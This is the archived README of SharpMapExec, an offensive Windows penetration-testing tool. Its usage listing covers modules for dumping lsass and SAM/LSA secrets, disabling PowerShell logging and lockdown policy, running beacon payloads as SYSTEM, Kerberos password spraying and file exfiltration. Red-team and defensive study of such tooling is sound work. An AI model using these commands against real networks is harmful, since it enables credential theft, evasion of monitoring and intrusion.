GitHub - cube0x0/SharpMapExec By cube0x0 Archived: 2026-04-02 12:18:49 UTC A sharpen version of CrackMapExec. This tool is made to simplify penetration testing of networks and to create a swiss army knife that is made for running on Windows which is often a requirement during insider threat simulation engagements. Besides scanning for access it can be used to identify vulnerable configurations and exfiltrate data. The idea for the data exfiltration modules is to execute the least amount of necessary code on the remote computer. To accomplish this, the tool will download all the secrets to the loot directory and parse them locally. You can specify if you want to use Kerberos or NTLM authentication. If you choose Kerberos, the tool will create a sacrificial token and use Rubeus to import/ask for the ticket. If NTLM is specified, the tool will use SharpKatz SetThreadToken or LogonUser impersonation. SharpMapExec.exe usage: --- Cim --- Need plaintext password or the /impersonate flag SharpMapExec.exe ntlm cim /user:USER /password:PASSWORD /computername:TARGET Available Cim modules /m:enable_winrm (Runs Enable-PSRemoting -Force) /m:disable_winrm (Runs Disable-PSRemoting -Force) /m:disable_pslockdown (Modify __PSLockdownPolicy registry to disable CLM) /m:disable_pslogging (Modify registry to disable PowerShell Logging) /m:check_pslockdown (Check __PSLockdownPolicy registry) /m:check_pslogging (Check PowerShell Logging registry) --- Reg32 --- SharpMapExec.exe ntlm reg32 /user:USER /ntlm:HASH /computername:TARGET SharpMapExec.exe kerberos reg32 /c WinRm modules /m:exec /a:whoami (Invoke-Command) /m:exec /a:C:\beacon.exe /system (Invoke-Command as System) /m:comsvcs (Dump & parse lsass) /m:secrets (Dump and Parse Sam, Lsa, and System Dpapi blobs) /m:assembly /p:Rubeus.exe /a:dump (Execute local C# assembly in memory) /m:assembly /p:beacon.exe /system (Execute local C# assembly as System in memory) /m:assembly /p:getMailBox.exe /delegwalk (Execute local C# assembly in all unique delegation proces /m:download /path:C:\file /destination:file (Download file from host) /m:upload /path:C:\file /destination:file (Upload file to host) --- Domain --- SharpMapExec.exe kerbspray /users:USERS.TXT /passwords:PASSWORDS.TXT /domain:DOMAIN /dc:DC SharpMapExec.exe tgtdeleg --- Ldap --- SharpMapExec.exe ntlm domain /user:USER /password:PASSWORD /domain:DOMAIN /dc:DC /m:MODULE SharpMapExec.exe kerberos ldap